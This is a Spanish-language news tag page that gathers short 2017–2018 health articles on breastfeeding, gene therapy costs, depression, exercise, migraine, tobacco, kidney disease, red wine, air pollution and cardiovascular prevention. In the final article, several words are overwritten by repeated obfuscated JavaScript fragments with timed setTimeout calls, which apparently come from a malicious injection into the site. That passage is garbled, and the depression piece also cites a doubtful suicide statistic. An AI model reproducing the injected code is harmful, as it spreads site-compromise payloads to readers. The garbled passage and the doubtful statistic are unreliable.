Etiquetas: Enfermedades


Recomiendan fomentar lactancia materna para reducir riesgo de enfermedades

16 mayo, 2018

México. Para brindar una mejor alimentación y reducir el riesgo de enfermedades en bebés recién nacidos, la Secretaría de Salud del Estado de México recomienda fomentar la práctica de lactancia materna durante los primeros seis meses de vida y complementarla los 18 meses siguientes con otro tipo de alimentos.

Amamantar permite aumentar el vínculo emocional con el bebé y se asocia con la disminución de enfermedades crónico-degenerativas en la madre, como diabetes, cáncer de mama y ovario.

Entre otros beneficios se encuentra el de favorecer la alineación dental, ya que la succión del seno materno que realiza el bebé ayuda a que la mandíbula se alinee, también ayuda a desarrollar el mecanismo del apetito y saciedad dentro de las primeras semanas de alimentación.

La leche humana contiene componentes como agua, proteínas, carbohidratos, grasas, minerales y vitaminas, mediante los cuales se obtienen nutrientes y anticuerpos necesarios para el fortalecimiento inmunológico, crecimiento y desarrollo saludable en neonatos.

Además, disminuye los casos de enfermedades crónico-degenerativas como es la diabetes, obesidad, asma y leucemia.

La Organización Mundial de la Salud advierte que cualquier otro alimento que no sea leche materna (agua, jugo o té), puede estar contaminado y pone en riesgo al bebé de infecciones, diarrea y desnutrición.

Por lo anterior, recomienda que no se ingieran otro tipo de líquidos incluso en climas calurosos.

Fuente: AlMomentoMx


Terapia genética, cura milagrosa de muy alto costo

25 abril, 2018

Londres. Las terapias genéticas se han convertido en curas milagrosas para unos cuantos pacientes que presentan enfermedades poco comunes, pero sus esperanzas desaparecen ante los altos precios de los tratamientos que representan un modelo de negocio poco rentable para las empresas farmacéuticas.

Los avances médicos en las últimas décadas han avanzado a un paso sorprendente, pero los medios para financiarlos se han estancado y representan un mal negocio para las empresas de productos farmacéuticos, ya que en algunos casos la cura solo necesita de una dosis y su costo es demasiado alto para representar un buen negocio.

Es claro que sin esas tarifas, las farmacéuticas no pueden ser sostenibles, sobre todo cuando abordan enfermedades raras con curas que solo se administran una vez.

Sobre dicho tema, un analista de Goldman Sachs lanzó una inquietante pregunta sobre la terapia génica. “¿Hay un modelo de negocio sostenible en curar pacientes?”

Las reacciones fueron rápidas y directas. “Frío e inmoral”, dijo uno. “Capitalismo en su máxima expresión”, criticó otro, destacó MIT Technology Review.

Pero la pregunta del analista de Goldman tiene un punto que debe ser tomado en cuenta. Obtener un beneficio sostenido de un tratamiento que solo se administra una vez es complicado, por lo que el fármaco más caro del mundo ilustra el fracaso del sueño de la terapia génica.

Así lo confirma el último movimiento del gigante británico del medicamento GlaxoSmithKline, cuya respuesta a la pregunta del consultor sería un rotuno no. La empresa acaba de vender su cartera de terapias génicas para enfermedades raras a una empresa emergente de Londres (Reino unido) llamada Orchard Therapeutics a cambio de una participación del 20 por ciento en la joven compañía.

Los tratamientos de los que Glaxo se ha desecho eran auténticos milagros: tratamientos de administración única que reemplazan un gen roto y salvan una vida. Uno de ellos es Strimvelis, una terapia para una deficiencia inmune muy rara que permite que algunos niños se curen, con lo que se convertiría en la primera terapia génica que cura en una sola dosis y que está a punto de aprobarse.

Otro de los tratamientos de su catálogo, aún en desarrollo, es una solución de ADN contra un devastador trastorno infantil llamado leucodistrofia metacromática, que afecta el cerebro. Las víctimas pierden su capacidad de hablar, caminar y pensar antes de perder sus vidas.

El problema económico es que las empresas pueden quedarse sin pacientes a los que tratar porque ya han curado a todos los enfermos. O incluso puede que nunca llegaran a tener suficientes pacientes en caso de terapias génicas para enfermedades extremadamente raras.

Fuente: Notimex


Depresión y ansiedad, enfermedades que no dependen de la voluntad

20 abril, 2018

México. Es común escuchar las frases de “échale ganas” y “tú puedes” para ayudar a personas con depresión y ansiedad, enfermedades que no dependen de la voluntad de las personas.

El investigador de la Universidad Veracruzana (UV), Carlos Manuel Contreras Pérez, quien durante 30 años se ha dedicado al estudio de la conducta y el cerebro, afirmó que existen mitos sobre los padecimientos emocionales, aún cuando existen tratamientos farmacológicos eficaces para su tratamiento.

“Normalmente podemos controlar la ansiedad y nuestra tristeza, pero cuando son patológicas, esas sensaciones y emociones son incontrolables, lo cual nos dice que hay partes en nuestro cerebro que no están funcionando bien”, afirmó el académico del Instituto de Neuroetología de esa universidad.

Explicó que para el diagnóstico y tratamiento de la depresión y ansiedad no es suficiente realizar estudios de gabinete sofisticados, encefalogramas, pruebas químicas y clínicas o resonancias magnéticas. La alteración de estas patologías, indicó, están en la parte más íntima de la función cerebral, en la manera en cómo se comunica una neurona con otra, por lo que se requieren de análisis más completos.

Dijo que la base de la atención para ambas enfermedades es farmacológica, ya que el riesgo principal de la depresión es el suicidio. Se conoce, agregó, que 25 por ciento de las personas deprimidas llegan a suicidarse.

“Hay tratamientos muy buenos y seguramente irán mejorando. Entre más cultura tienen las personas, es más fácil manejar la situación, de lo contrario rechazarán el tratamiento o prefieren el producto natural”, comentó a través de un comunicado de la UV.

Sin embargo, afirmó que es importante que los paciente reciban también terapias que ayuden a modificar hábitos. “Si alguien tiene hábitos que lo conducen a la ansiedad o que lo sometan continuamente a la depresión, entonces tenemos que cambiarlos”.

Carlos Contreras relató que hasta hace 60 años, por ejemplo, no existían tratamientos eficaces para atender la ansiedad y la depresión, así que alrededor de estas patologías se crearon mitos. Comentó que en esas décadas los tratamientos eran muy rudimentarios como los barbitúricos (anestésicos) que mantenían a las personas dormidas.

No había antidepresivos y esta patología sólo se atendía a través de “frases mágicas” como “échale ganas” o “tú puedes con esto”, las cuales todavía perduran porque se piensa que son enfermedades de la voluntad, lo que es “totalmente falso”, enfatizó.

El especialista destacó que la ansiedad y la depresión son enfermedades del cerebro. “A principios del siglo XX, nadie sabía cómo eran las células del sistema nervioso, su estudio es apenas reciente.”

Pasadas las dos primeras décadas del siglo XX, se empezó a conocer y entender la fisiología de las neuronas y la sorpresa fue saber que todo animal tiene neuronas y todas funcionan igual, lo que cambia es la complejidad de las conexiones entre ellas, explicó Contreras Pérez.

Expuso que el ser humano es la única especie que piensa en el futuro y que tiene la capacidad de preguntarse qué va a pasar, y las respuestas a esta interrogante provocan miedos y temores que pueden generar ansiedad y/o depresión en las personas.

Detalló que los niveles normales de ansiedad nos ayudan a ponernos a salvo ante una eventualidad. Con referencia a la depresión, explicó que es un periodo de tristeza profunda, se pierde la intención de buscar a lo que hasta entonces nos producía placer, entonces ya es una situación patológica.

A lo largo de más de 30 años, Carlos Contreras se ha interesado en saber cómo funciona el cerebro en condiciones normales y en condiciones patológicas, para ello ha usado diferentes modelos animales a fin de estudiar padecimientos humanos.

“Me he dedicado a estudiar cuáles son las partes del cerebro que tienen un mal funcionamiento y cómo las neuronas funcionan exactamente igual en todas las especies que las tienen”, señaló.

De tal manera, dijo que estas patologías las ha estudiado con ayuda de los modelos animales –especialmente en ratas–, donde se hace la transferencia de información a aspectos que puedan manejar los investigadores.

Entre las pruebas útiles para la ansiedad y la depresión, las cuales se hacen de manera controlada, están: producir en el animal un estímulo que sabemos no le gustará, el laberinto, y poner a nadar ratas sin darles esperanza de que sobrevivan, lo que ocasiona inmovilidad, pero al darles antidepresivos continúan buscando la salida.

“Mi modelo experimental favorito es el registro de neuronas, en el cual se pueden utilizar dispositivos (micro electrodos), así se obtiene la actividad que tiene una sola neurona. Vamos de una en una, en determinadas partes del cerebro que sabemos están relacionadas con esas patologías.”

Este método se complementa con la administración de antidepresivos y ansiolíticos en los animales, lo cual permite observar cómo se modifica la actividad neuronal.

“Esto nos sirve para adquirir conocimiento, tal vez algún día se encuentre una aplicación para mejorar los ansiolíticos y los antidepresivos, ya que estos últimos tardan entre dos o tres semanas en hacer efecto.”

Fuente: Notimex


Ejercicio contra padecimientos crónicos y enfermedades

5 abril, 2018

Puebla. La activación física es la mejor manera para prevenir y atender enfermedades y padecimientos crónico degenerativos, sobre todo para llegar a la tercera edad con un estado de salud optimo, resaltó Cristian Contador Cantillana, maestro en Ciencias de la Kinesiología de la Universidad de Santiago de Chile.

Durante su visita en esta ciudad para participar en el Congreso Internacional de Fisioterapia, en rueda de prensa señaló que de acuerdo a la Organización Mundial de la Salud, para que el ejercicio genere un beneficio se requieren más de 150 minutos semanales de una actividad física vigorosa.

Detalló que en Chile un 20 por ciento de los niños en edad preescolar que son menores de seis años tienen obesidad, por lo que deberían estar entrenando y no sólo recibiendo clase de educación física.

Agregó que muchas de las enfermedades como la obesidad, hipertensión, y la hipercolesterolemia, son de desarrollo intrauterino por lo que toda mujer embarazada debe hacer ejercicio, además de que estudios recientes demuestran que la mamá que entrena tienen hijos más inteligentes tanto para matemáticas como para lenguaje.

El especialista resaltó que el cáncer en los próximos 10 años será la primera causa de muerte en el mundo, de ahí que el ejercicio cobre relevancia para la prevención, manejo y post-tratamiento en los distintos tipos de esta enfermedad.

“Una persona físicamente activa en promedio tiene un 40 por ciento menos de probabilidad de desarrollar cáncer, en el caso contrario quienes tienen una conducta sedentaria y pasa tiempo viendo televisión, pero además en el trabajo pasa ocho horas sentado, esa cantidad de tiempo va sumando probabilidad de riesgo”, acotó.

Contador Cantillana puntualizó que en el caso del cáncer de mama la probabilidad aumenta un 50 por ciento si una mujer es sedentaria que trabaja sentada durante ocho horas al día y llega a casa a ver televisión, lo mismo con los hombres con el cáncer de colon y próstata.

Sentenció que por lo anterior el ejercicio puede ayudar a mejorar la capacidad de los tratamientos de quimioterapia para hacerlo más efectivo y disminuye todos los problemas asociados al cáncer, asimismo reduce en un 50 por ciento que vuelva a parecer el cáncer.

“Los sujetos que hacen ejercicio en su tratamiento y post-tratamiento tienen un 50 por ciento menos de probabilidad de hacer un nuevo cáncer en otra zona”, apuntó.

Por su parte, César Vergara Ríos, profesor de la Universidad Andrés Bello, de Concepción de Chile, subrayó que se requieren políticas públicas para que a través del ejercicio se favorezca la salud de la población y su calidad de vida.

Vergara Ríos dijo que en la actualidad el objetivo no sólo es sentirse mejor, sino que el ejercicio es evitar factores de riesgo y prevenir enfermedades, así como actuar en los padecimientos que ya se tienen.

Por su parte, Miriam Ríos Kosa, directora de la Facultad de Fisioterapia de la Universidad Popular Autónoma del Estado de Puebla (UPAEP), señaló que se debe cambiar la cultura laboral en las empresas en México, ya que en otros países se brindan facilidades para hacer ejercicio y esto se abona a las horas laborales.

Fuente: Notimex


La migraña afecta a 20 millones de mexicanos

16 marzo, 2018

México. La migraña es una forma particular de dolor de cabeza que puede tener por lo menos cinco episodios de molestia, que en caso de llegar a la fase aguda puede producir discapacidad, aseguró el académico de la Facultad de Medicina de la Universidad Nacional Autónoma de México (UNAM), Felipe Arturo Vega.

El primer episodio generalmente se presenta en la niñez, pero este padecimiento persiste a lo largo de la vida; los picos más grandes ocurren entre los 25 y 45 años de edad, y se extienden hasta los 65, expuso el especialista.

En un comunicado emitido por la máxima casa de estudios, Vega señaló que en México la prevalencia de migraña es de alrededor del 16 por ciento.

“Si hablamos de una población de más de 120 millones (según el último conteo de INEGI en 2015, ese año éramos 119 millones 938 mil 473), entonces podemos decir que hay casi 20 millones de pacientes con la enfermedad”, detalló el académico.

Describió que la migraña tiene por lo menos cinco episodios de dolor que duren entre cuatro y 72 horas en adultos, y de dos a 48 horas en niños; al principio se localiza en una de las dos mitades de la cabeza, tiene carácter pulsátil, su intensidad va de moderada a severa y se agrava con la actividad física.

“Puede ser tan intenso en su fase aguda que a veces el enfermo no puede ni subir las escaleras, pues con el esfuerzo el malestar se incrementa. Además, suele acompañarse de molestias por la luz y el ruido, y en ocasiones de náusea y vómito”, expuso.

La migraña, afirmó, pertenece al grupo de las cefaleas primarias, es decir, no es causada por lesiones cerebrales ni sistémicas; en el caso de las mujeres son quienes más las padecen, y en ellas un factor desencadenante frecuente es el periodo menstrual.

Aunque no hay una causa específica, en muchos casos se relaciona con factores familiares (componente genético), pues “hemos visto que con frecuencia los pacientes tienen padres, tíos o algún familiar en línea directa que padecen migraña”.

Especificó que cada episodio puede tener distintos desencadenantes medioambientales como el estrés, ciertos alimentos y/o bebidas como el queso, chocolate, comida china, alcohol, café y vino tinto, entre otros.

El neurólogo universitario subrayó que este padecimiento no tiene cura, pero existen tratamientos para mantenerlo controlado y mejorar la calidad de vida de los afectados; no obstante, dijo que de igual manera, es importante identificar si hay algún factor detonante para evitarlo.

Vega reiteró que en si ya se presentó el episodio, es necesario administrar analgésicos de acción rápida, y si ocurre más de tres veces al mes, lo indicado son los medicamentos “profilácticos” por etapas determinadas para disminuir la intensidad y periodicidad.

También existen otras alternativas como la acupuntura, yoga, relajación y ejercicio, abundó.

Fuente: Notimex


Finanzas Públicas se ven afectadas por enfermedades relacionadas al tabaquismo

11 marzo, 2018

México. Las enfermedades atribuibles al consumo del tabaco en México tienen un impacto negativo en las finanzas públicas, estimado en unos 43 mil millones de pesos, de acuerdo con el Centro de Estudios de las Finanzas Públicas (CEFP).

El órgano de apoyo al trabajo legislativo de la Cámara de Diputados expuso que esto se debe a que se destinan recursos públicos para atender tales padecimientos por 81 mil 132 millones de pesos y solo se obtiene una recaudación por concepto de Impuesto Especial sobre Producción y Servicios (IEPS) de 39 mil 123.6 millones.

En la nota informativa “El tabaquismo y su efecto en las finanzas públicas 2007-2017”, apunta que el tabaquismo tiene un costo tanto en términos sociales como económicos para las familias y para el Estado.

Cobra relevancia el costo para la hacienda pública: su magnitud se estima de 81 mil 132 millones de pesos en 2017 en las finanzas del gobierno federal, cifra que representa 2.8 por ciento de los ingresos tributarios y 58.3 por ciento de los ingresos obtenidos por el IEPS no petrolero.

Así, se considera como uno de los padecimientos prevenibles más costosos para el erario público, además de su alto costo social, por ser una enfermedad prevenible relacionada con distintos tipos de cáncer y con otras afecciones.

Entre estas menciona la cardiopatía isquémica, enfermedades vasculares cerebrales, bronquitis crónica, enfisema pulmonar y la Enfermedad Pulmonar Obstructiva Crónica (EPOC), por señalar sólo las principales.

En México, la industria tabacalera utiliza 5.0 por ciento de la superficie cultivada, participa con 0.1 por ciento del Producto Interno Bruto (PIB) y 0.2 por ciento de la producción manufacturera, además de ocupar 0.06 por ciento de los empleados en el sector manufacturero.

En contraste, su consumo genera múltiples enfermedades cuyo costo para el gobierno representa el 0.4 por ciento del PIB, subraya el CEFP.

Sostuvo que a raíz del reciente incremento en las tasas y las políticas públicas implementadas para evitar el consumo de cigarros, puros y tabacos labrados, se redujo temporalmente la venta de estos bienes. No obstante, en el mediano plazo se observa que las medidas perdieron efecto al recuperarse de manera significativa la venta y consumo de cigarros y tabacos labrados.

Por ello, sostiene el organismo, la forma más eficaz para combatir el consumo de este producto es elevar la proporción de impuestos como porcentaje del precio, lo cual es compatible con las mejores prácticas internacionales y es característico de países con políticas públicas exitosas en materia de control del tabaco.

Estadísticas de la industria tabacalera en México muestran que el incremento en los precios de los cigarrillos está asociado directamente al aumento de los impuestos, como se observó durante la reforma de 2010, pero esto no ha permeado en la demanda o el consumo del mismo, así que se deben realizar una serie de cambios que inhiban este comportamiento

El CEFP destaca que sólo 45.4 por ciento del gasto en salud asociado al tabaquismo tiene una contraparte en los ingresos por IEPS.

Por ello y dados los problemas de salud pública atribuibles a este producto, sería importante revisar si la estructura impositiva vigente es una estrategia suficiente para reducir su consumo y, en consecuencia, si con ellas se combate las implicaciones asociadas al mismo, sugiere.

Fuente: Notimex


Embarazadas, las más propensas a sufrir complicaciones por enfermedades renales

2 marzo, 2018

 

Guadalajara. Una mujer con enfermedad renal crónica aún en etapas leves y que se embaraza tiene mayor riesgo de sufrir complicaciones, advirtieron expertos del Hospital Civil de Guadalajara (HGC).

“Tienen riesgo de preeclampsia y, sobre todo, el bebé corre el riesgo de nacer prematuro, y probablemente también sea propenso a desarrollar problemas renales a largo plazo. Es una situación preocupante en Jalisco”, explicó la doctora Margarita Ibarra Hernández.

En un comunicado, la especialista adscrita al Servicio de Nefrología del Antiguo Hospital Civil “Fray Antonio Alcalde”, señaló que la enfermedad renal crónica es más frecuente en mujeres que en hombres.

“Se estima que existen cerca de 200 millones de mujeres en el mundo con un grado de insuficiencia renal, y es la octava causa de muerte en este género”, dijo el jefe del Servicio de Nefrología del “Fray Antonio Alcalde”, doctor Guillermo García García.

El doctor Elías Rodríguez Ruiz, presidente del Colegio Jalisciense de Nefrología, destacó que de los pacientes que se encuentran en los estadíos tres o cuatro de la enfermedad renal crónica, fallecen aproximadamente el 80 por ciento.

“Las instituciones de salud han sido rebasadas, la lista de espera de pacientes que están a diario afuera de la unidad de hemodiálisis esperando un lugar es terrible, y el lugar que va a haber (para ellos) es porque faltó un paciente o porque lamentablemente murió”, agregó.

Los servicios de diálisis dan prioridad a las pacientes embarazadas, quienes requieren 20 horas de hemodiálisis a la semana, equivalente a seis días de terapia, lo que afecta a más pacientes que buscan el servicio.

Con un modelo único en el país, en los servicios de diálisis que ofrece el HCG, el paciente es condonado o paga al mes aproximadamente mil 800 pesos, en contraste con el costo mensual en una institución privada que asciende a 14 mil pesos como mínimo, dijo el director del OPD Hospital Civil de Guadalajara, Héctor Raúl Pérez Gómez.

“El número que tenemos en este momento en terapia sustitutiva es de 680 personas; eso nos condujo, desde el año 2008, a abrir casi todos los turnos en hemodiálisis. Sí se tiene la necesidad de más espacios públicos para hemodiálisis, porque sí representa un grave problema para la población”, agregó.

Para el sostenimiento de las unidades de hemodiálisis –que incluye insumos, pago de personal y el equipo–, el HCG eroga aproximadamente ocho millones de pesos mensuales, informó su director.

El 8 de marzo se conmemora el Día Mundial del Riñón, por lo que el HCG tendrá un programa de actividades con el lema “Riñones y salud de la mujer. Incluir, valorar y empoderar”,

Se incluye una campaña gratuita de detección oportuna de daño renal, del 5 al 9 de marzo, en las instalaciones de Radio Vital (ubicado en avenida México 3150) y en el Sistema Jalisciense de Radio y Televisión (en calle Francisco Rojas González 155).

Las Jornadas de Enfermería “Riñones y salud de la mujer”, del 7 al 9 de marzo en el auditorio de la Torre de Especialidades, del Antiguo Hospital Civil “Fray Antonio Alcalde”; lugar donde se realizará un acto conmemorativo por el Día Mundial del Riñón el 8 de marzo.

Jornada de Fomento a la Prevención Renal, el sábado 10, en el cruce de avenida Chapultepec y calle López Cotilla, de las 16:30 a las 20:00 horas.

Gala premier a beneficio de pacientes renales de la asociación civil Una oportunidad de vida, en el Festival Internacional de Cine de Guadalajara (FICG 33), el sábado 10 de marzo en el Teatro Diana, a las 21:00 horas, con la proyección El año de la plaga, del director Martín Ferrera.

Fuente: Notimex


Vino tinto ayudaría a combatir caries dental y enfermedad de encías

21 febrero, 2018

Londres. El vino tinto contiene sustancias químicas, polifenoles, que actúan contra los patógenos orales y podrían ayudar en la lucha contra la caries dental y la enfermedad de las encías, de acuerdo con una nueva investigación.

Por años se han descrito varios beneficios de los polifenoles del vino tinto sobre la salud, desde ayudar al corazón hasta reducir el riesgo de diabetes, sin embargo científicos españoles decidieron estudiar si esas sustancias químicas tenían algún efecto en la sanidad de la boca.

Exploraron la capacidad antiadhesiva de polifenoles seleccionados y extractos enológicos contra los patógenos orales Porphyromonas gingivalis, Fusobacterium nucleatum y Streptococcus mutansen en un modelo in vitro de fibroblastos gingivales humanos.

Además, los investigadores analizaron la acción complementaria de los polifenoles con el candidato oral probiótico Streptococcus dentisani, y como resultado encontraron que en conjunto ayudaron a evitar las bacterias dañinas en la boca.

Los polifenoles son metabolitos secundarios de defensa que se encuentran en numerosas especies de plantas y sus frutos, como café, arándanos y frijoles, y su actividad antioxidante ha sido ampliamente estudiada.

El vino tinto también es una rica fuente de polifenoles dietéticos que posee una combinación única de estructuras fenólicas (principalmente flavonoides) y varios estudios han proporcionado evidencia de los efectos protectores de su consumo moderado contra enfermedades cardiovasculares y neurodegenerativas.

Los componentes fenólicos en el vino también pueden tener un efecto sobre la microbiota humana, modulando significativamente el crecimiento de bacterias en nuestro intestino.

Así, los científicos compararon los efectos de dos polifenoles del vino tinto contra los suplementos de semilla de uva en bacterias que se adhieren a los dientes y a las encías y que causan placa dental, caries y enfermedad de las encías.

Descubrieron que los polifenoles redujeron la capacidad de las bacterias para adherirse a las células, y cuando se combinan con Streptococcus dentisani –que estimula el crecimiento de las bacterias buenas-resultaron aún mejores para inhibir las patógenas.

Los hallazgos, publicados este miércoles en la revista especializada Journal of Agricultural and Food Chemistry, podrían conducir a nuevos tratamientos dentales, destacaron los investigadores, pero advirtieron que ello no da luz verde para que las personas beban más vino tinto.

Fuente: Notimex


Alertan por enfermedades provocadas por “temporada de partículas”

4 noviembre, 2017

México. Durante el invierno (noviembre- febrero), en la Zona Metropolitana del Valle de México se presenta un fenómeno que se conoce como temporada de partículas, mismas que provocan enfermedades respìratorias y cardiovasculares sobre todo en la población vulnerable.

La falta de lluvia, la disminución de los vientos y la baja temperatura favorece la acumulación de contaminantes en la atmósfera, particularmente por las mañanas.

Las partículas tienen tamaño micrométrico, tienen prolongada duración en la atmósfera y son imperceptibles por la población, indicó la Secretaría de Medio Ambiente y Recursos Naturales (Semarnat) en un comunicado.

Añadió que estos contaminantes se conocen como PM10 y PM2.5 y su composición incluye elementos como nitratos y sulfatos, compuestos orgánicos, carbono negro, metales y polvo, entre otros.

Algunos son emitidos en calles no pavimentadas, actividades de construcción, chimeneas industriales, incendios forestales y nubes de polvo; otros a partir de la condensación de gases sobre partículas existentes, combustión de automóviles, quema de basura y fogatas.

En este sentido, la Comisión Ambiental de la Megalópolis recomienda mantenerse informado y seguir las recomendaciones para prevenir afectaciones a la salud.

Exhorta a que niños, adultos mayores y personas con problemas respiratorios y cardiovasculares permanezcan en interiores en las horas de altas concentraciones.

También sugiere evitar las actividades deportivas, de recreación u otras al aire libre y no fumar ni exponerse al humo de cigarro o de cualquier otro material en espacios cerrados.

Fuente: Notimex


Aconsejan medidas para disminuir riesgo de padecer enfermedades

4 noviembre, 2017

México. Está demostrado que dejar de fumar, reducir sal en alimentos, consumir más frutas y verduras, así como no ingerir grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}es cantidades de alcohol, reduce el riesgo de padecer enfermedades cardiovasculares.

También, se aconseja dejar de comer alimentos con grandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}es cantidades de grasa, refrescos y otras bebidas azucaradas.

Otra medida preventiva es realizar una medición de la cintura, pues de acuerdo con la Secretaría de Salud, si el abdomen de los hombres mide más de 90 centímetros y el de las mujeres más de 80, existe mayor riesgo de padecer hipertensión arterial.

Además otra de las consecuencias puede ser la diabetes tipo 2, la cual muestra mayor prevalencia en la población, misma que se caracteriza porque el cuerpo no produce o no usa bien la insulina.

Hay que acudir al médico para encontrar y mantener un peso óptimo. Realizar con frecuencia y en ayunas un análisis de glucosa, colesterol y triglicéridos, como medida precautoria.

La Profeco también aconseja en su revista del Consumidor del mes de febrero, llevar un control periódico de la presión arterial y hacer ejercicio durante 30 y 40 minutos al día; caminar, andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ar en bicicleta o nadar, disciplinas que ayudaran a mejorar la calidad de vida del paciente.

Fuente: Notimex